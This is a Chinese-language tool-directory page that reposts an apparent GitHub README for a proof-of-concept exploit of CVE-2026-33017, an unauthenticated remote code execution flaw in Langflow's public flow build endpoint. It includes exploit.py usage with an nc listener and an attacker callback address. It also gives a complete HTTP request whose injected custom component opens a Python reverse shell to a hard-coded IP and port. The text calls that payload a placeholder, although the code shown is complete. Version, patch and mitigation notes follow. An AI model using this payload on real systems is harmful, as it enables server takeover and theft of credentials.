Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017 — Langflow 远程代码执行 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-33017
漏洞扫描器代码分析漏洞利用Web安全论文与研究学习与教育
GitHubeqstlab/cve-2026-33017

CVE-2026-33017

Langflow 远程代码执行

查看仓库
645823天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33017 Langflow 远程代码执行

★ CVE-2026-33017 Langflow 远程代码执行 PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


环境搭建

使用以下命令构建并运行存在漏洞的 Langflow 环境:

root@kitploit:~
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

如何使用 PoC

启动存在漏洞的 Langflow 实例后,使用目标 URL、公共流程 ID 和攻击者回调地址运行 PoC。

选项 A — 使用你自己的监听器:

root@kitploit:~
# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

选项 B — 使用内置监听器(--listen):

root@kitploit:~
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen

ENG

CVE-2026-33017 是 Langflow 公共流程构建过程中的一个远程代码执行(RCE)漏洞。Langflow 是一个用于可视化构建 LLM 应用和 AI 工作流的开源平台。
攻击者无需认证即可向 build_public_tmp 端点发送精心构造的流程数据,从而在服务器上执行
任意 Python 代码
。


概述

CVE-2026-33017 影响 Langflow 中的以下公共流程构建端点。Langflow 是一个用于可视化创建 LLM 应用和 AI 工作流的开源平台。

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

公共流程(Public flow) 是 Langflow 中设计用于通过链接或类似机制与其他用户共享的流程。
为了支持该功能,构建端点会读取流程的节点、边和设置,然后构造运行所需的内部执行图,从而在无需认证的情况下准备流程执行。

问题在于,存在漏洞的 build_public_tmp 版本不仅接受服务器上存储的公共流程信息,还接受请求体中提供的 data 字段。

该 data 字段可以包含完整的流程定义,包括:

  • 节点列表
  • 节点之间的连接关系
  • 每个节点的详细配置值
  • 执行所需的模板和自定义组件数据

因此,攻击者可以利用未经认证的请求注入完全由攻击者控制的流程结构,而无需依赖服务器上存储的合法公共流程。

该设计的一个特别危险之处在于**自定义组件(Custom Component)**功能。
在 Langflow 中,组件是负责输入处理、模型调用或输出生成等任务的独立功能块。自定义组件是一种可扩展的块,允许用户直接以 Python 代码定义其行为。

因此,攻击者可以在精心构造的 data 对象中嵌入包含恶意 Python 代码的自定义组件,而服务器会将其当作流程的正常组成部分进行处理。结果,注入的代码会在构建或执行过程中被解析并执行,最终导致远程代码执行。


受影响版本

分类版本
受影响Langflow 1.9.0 之前的版本
已修复Langflow 1.9.0 及更高版本

GitHub 安全公告将受影响范围列为 <= 1.8.2,但修复措施——移除 data 参数——是在 1.9.0 中实现的。因此,1.9.0 之前的所有版本(包括 1.8.3 / 1.8.4)均受影响,这也是 CVE 记录中标注为 < 1.9.0 的原因。


影响

成功利用此漏洞可能使攻击者控制 Langflow 服务器并执行后续操作,例如:

  • 在服务器上获取 Shell
  • 窃取环境变量或其他敏感信息
  • 安装额外的恶意代码并建立持久化

概念验证(PoC)

以下 PoC 演示了 Langflow 1.8.1 上的 CVE-2026-33017 漏洞。

1) 识别公共流程 ID

攻击者首先识别目标公共流程的 flow_id。

识别公共流程 ID

2) 发送包含恶意自定义组件的构建请求

攻击者发送一个 build_public_tmp 请求,注入一个自定义组件,其 Python code 会在临时构建期间于服务器上执行。在下面的请求中,code 值留作占位符——请自行填入 payload(参见请求下方的说明)。

root@kitploit:~
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 获取 Shell

在构建过程中,嵌入自定义组件的代码会在服务器上执行。当使用反弹 Shell 变体(由 exploit.py 自动化)时,会与攻击者的监听器建立连接,使攻击者获得交互式 Shell,从而在服务器上执行任意命令。

获取 Shell


技术分析

尽管 build_public_tmp 本应用于构建公共流程,但存在漏洞的版本仍然接受直接来自请求体的 data 字段。

由于这种设计,攻击者提供的 data 会直接进入服务器端构建逻辑,任何嵌入自定义组件中的 Python 代码都会被当作合法流程的一部分来处理。

因此,攻击者无需依赖服务器上存储的原始公共流程。相反,他们可以注入完全由自己构造的恶意流程定义,包括可在服务器上执行的代码。

补丁发布后,build_public_tmp 不再接受外部提供的 data。
换言之,此前允许攻击者通过请求体注入整个流程定义的路径已被移除,这也阻止了通过恶意自定义组件执行任意代码。

补丁差异


缓解措施

  • 升级到 Langflow 1.9.0 或更高版本
  • 移除不必要的公共流程暴露
  • 限制对 Langflow 实例的直接外部访问

参考链接

  • GitHub 安全公告:GHSA-vwmf-pq79-vjvx
  • NVD:CVE-2026-33017
  • 补丁提交:73b6612e3ef25fdae0a752d75b0fabd47328d4f0

分析

  • KR:
  • EN:


KOR

CVE-2026-33017 是开源 AI 工作流平台 Langflow 在公共流程构建过程中出现的远程代码执行(RCE)漏洞。
攻击者无需认证即可向 build_public_tmp 端点提交被操纵的流程数据,从而在服务器端诱导执行
任意 Python 代码
。


概述

CVE-2026-33017 发生在 Langflow 的公共流程构建端点,即以下 API。Langflow 是一个可以可视化构建 LLM 应用和 AI 工作流的开源平台。

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow 的公共流程是对外公开的流程,其他用户可以通过链接等方式加载和使用。
该功能被设计为无需认证即可将流程准备为可执行状态。构建端点会根据构成流程的节点、连接关系和配置值生成内部执行图,并准备各个块使其能够实际运行。

问题在于,存在漏洞的 build_public_tmp 端点也会接受请求体中的 data 值。

该 data 中可能包含以下完整的流程定义:

  • 节点列表
  • 节点之间的连接关系
  • 每个节点的详细配置值
  • 执行所需的模板及自定义组件信息

也就是说,攻击者可以通过未经认证的请求,注入自己构造的整个流程结构,以替代服务器上存储的正常流程。

其中尤其危险的因素是自定义组件(Custom Component)。
在 Langflow 中,组件是负责输入处理、模型调用、输出生成等单项功能的块,而自定义组件是用户可以用 Python 代码直接定义的扩展型块。

攻击者可以在被操纵的 data 中插入包含恶意 Python 代码的自定义组件,服务器会将其当作正常的流程组成部分来处理。结果,这些代码会在构建/执行流程中被实际解释并执行,从而实现远程代码执行。


受影响版本

分类版本
受影响版本Langflow 低于 1.9.0
已修复版本Langflow 1.9.0 及以上

GitHub 安全公告将影响范围标注为 <= 1.8.2,但实际补丁(移除 data 参数)是在 1.9.0 中实现的。因此,包括 1.8.3、1.8.4 在内,1.9.0 之前的所有版本均受影响,CVE 记录也将其标注为 < 1.9.0。


影响

通过该漏洞,攻击者可以在控制 Langflow 服务器后执行进一步操作。典型影响如下:

  • 获取服务器 Shell
  • 泄露环境变量及机密信息
  • 安装额外恶意代码并建立持久化

概念验证(PoC)

以下 PoC 是在 Langflow 1.8.1 环境中复现 CVE-2026-33017 的示例。

1) 识别公共流程 ID

攻击者首先确定作为攻击目标的公共流程的 flow_id。

识别公共流程 ID

2) 发送包含恶意自定义组件的构建请求

攻击者发送经过操纵的 build_public_tmp 请求,使自定义组件的 Python code 在临时构建过程中于服务器上执行。下面请求中的 code 值作为占位符留空,需要自行填入 payload(参见请求下方的说明)。

root@kitploit:~
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 获取 Shell

在构建过程中,自定义组件中包含的代码会在服务器上执行。使用 exploit.py 自动化的反弹 Shell 方式时,会与攻击者一方的监听器建立连接,攻击者即可获得可在服务器上执行任意命令的交互式 Shell。

获取 Shell


技术分析

尽管存在漏洞的 build_public_tmp 端点是用于公共流程的构建 API,但它仍能直接从请求体中接收 data 值。

正因为这种设计,攻击者提交的 data 会被原样反映到服务器端构建逻辑中,其中包含的自定义组件 Python 代码也会被当作正常流程组成部分来处理。

最终,攻击者可以不依赖服务器上存储的原始公共流程,而是直接注入自己创建的恶意流程定义,其中包含的恶意代码便可在服务器上执行。

补丁发布后,build_public_tmp 已修改为不再从外部请求接收 data。
也就是说,攻击者通过请求体注入流程定义本身的路径已被阻断,由此通过自定义组件执行任意代码也已不可行。

补丁差异


缓解措施

  • 升级到 Langflow 1.9.0 及以上版本
  • 移除不必要的公共流程暴露
  • 限制网络访问,避免 Langflow 实例直接暴露在外部

参考链接

  • GitHub 安全公告:GHSA-vwmf-pq79-vjvx
  • NVD:CVE-2026-33017
  • 补丁提交:73b6612e3ef25fdae0a752d75b0fabd47328d4f0

分析

  • KR:
  • EN:
下载工具
选项说明
--url目标 Langflow 服务器 URL
--flow-id共享公共流程的 UUID
--lhost攻击者回调 IP
--lport攻击者回调端口
--listen使用内置监听器,而非外部的 nc